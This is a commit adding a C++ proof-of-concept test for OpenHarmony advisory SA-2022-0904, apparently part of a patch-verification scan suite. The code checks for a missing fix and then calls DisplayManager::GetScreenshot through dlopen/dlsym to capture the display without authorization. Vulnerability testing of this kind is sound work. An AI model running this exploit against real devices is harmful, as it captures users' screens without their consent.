提交OpenHarmony-SA-2022-0904动态测试用例

Signed-off-by: Nlakemoon <autorobot202110@163.com>

demo/sectest/poc_patch_scan/2022-09/OpenHarmony-SA-2022-0904/poc.cpp

+/*
+ * Copyright (c) 2023 Huawei Device Co., Ltd.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <memory>
+#include <stdio.h>
+#include <unistd.h>
+namespace Media  {
+    class PixelMap;
+}
+
+int main() {
+    void *handle,*handle2;
+    // 打开共享库libdms.z.so
+    handle2 = dlopen("/system/lib/libdms.z.so", RTLD_LAZY);
+    if (!handle2) {
+        fprintf(stderr, "Error: %s\n", dlerror());
+        return 1;
+    }
+    
+    // 获取函数DisplayManagerStub::IsStartByHdcd地址
+    void* IsStartByHdcd= dlsym(handle2, "_ZN4OHOS5Rosen18DisplayManagerStub13IsStartByHdcdEv");
+    if (!IsStartByHdcd) {
+        printf("OpenHarmony-SA-2022-0904: vulnerable!\n");
+    } else {
+        printf("OpenHarmony-SA-2022-0904: not vulnerable!\n");
+        return 1;
+    }
+
+    // 打开共享库libdm.z.so
+    handle = dlopen("/system/lib/libdm.z.so", RTLD_LAZY);
+    if (!handle) {
+        fprintf(stderr, "Error: %s\n", dlerror());
+        return 1;
+    }
+
+    // 获取函数DisplayManager::GetInstance地址
+    typedef void* (*CreateObjFunc)();
+    CreateObjFunc create_obj = reinterpret_cast<CreateObjFunc>(dlsym(handle, "_ZN4OHOS5Rosen14DisplayManager11GetInstanceEv"));
+    if (create_obj == NULL) {
+        fprintf(stderr, "Error: %s\n", dlerror());
+        dlclose(handle);
+        return 1;
+    }
+    // 创建类实例
+    void* obj = create_obj();
+    
+    // 获取函数DisplayManager::GetDefaultDisplayId地址
+    typedef uint64_t (*DisplayId)(void*);
+    DisplayId GetDefaultDisplayId = NULL;
+    GetDefaultDisplayId = reinterpret_cast<DisplayId>( dlsym(handle, "_ZN4OHOS5Rosen14DisplayManager19GetDefaultDisplayIdEv"));
+    if (GetDefaultDisplayId == NULL) {
+        fprintf(stderr, "Error: %s\n", dlerror());
+        dlclose(handle);
+        return 1;
+    }
+
+    // 调用函数DisplayManager::GetDefaultDisplayId
+    uint64_t displayId = GetDefaultDisplayId(obj);
+    if (displayId == -1ULL) {
+        printf("GetDefaultDisplayId failed!\n");
+    } else{
+        printf("DisplayId: %llu\n", displayId);
+    }
+    
+    // 获取函数DisplayManager::GetScreenshot地址
+    typedef std::shared_ptr<Media::PixelMap> (*GetDisplaySnapshot)(void*,uint64_t);
+    GetDisplaySnapshot GetPixelMap = nullptr;
+    GetPixelMap = reinterpret_cast<GetDisplaySnapshot>(dlsym(handle, "_ZN4OHOS5Rosen14DisplayManager13GetScreenshotEy"));
+    if (GetPixelMap == NULL) {
+        fprintf(stderr, "Error: %s\n", dlerror());
+        dlclose(handle);
+        return 1;
+    }
+    // 调用函数DisplayManager::GetScreenshot
+    void* PixelMap = nullptr;
+    PixelMap = GetPixelMap(obj,displayId).get();
+    if (PixelMap == nullptr) {
+        printf("GetDefaultDisplayId failed!\n");
+    } else{
+        printf("PixelMap: %p\n", PixelMap);
+    }
+    
+    // 关闭共享库
+
+
+    return 0;
+}
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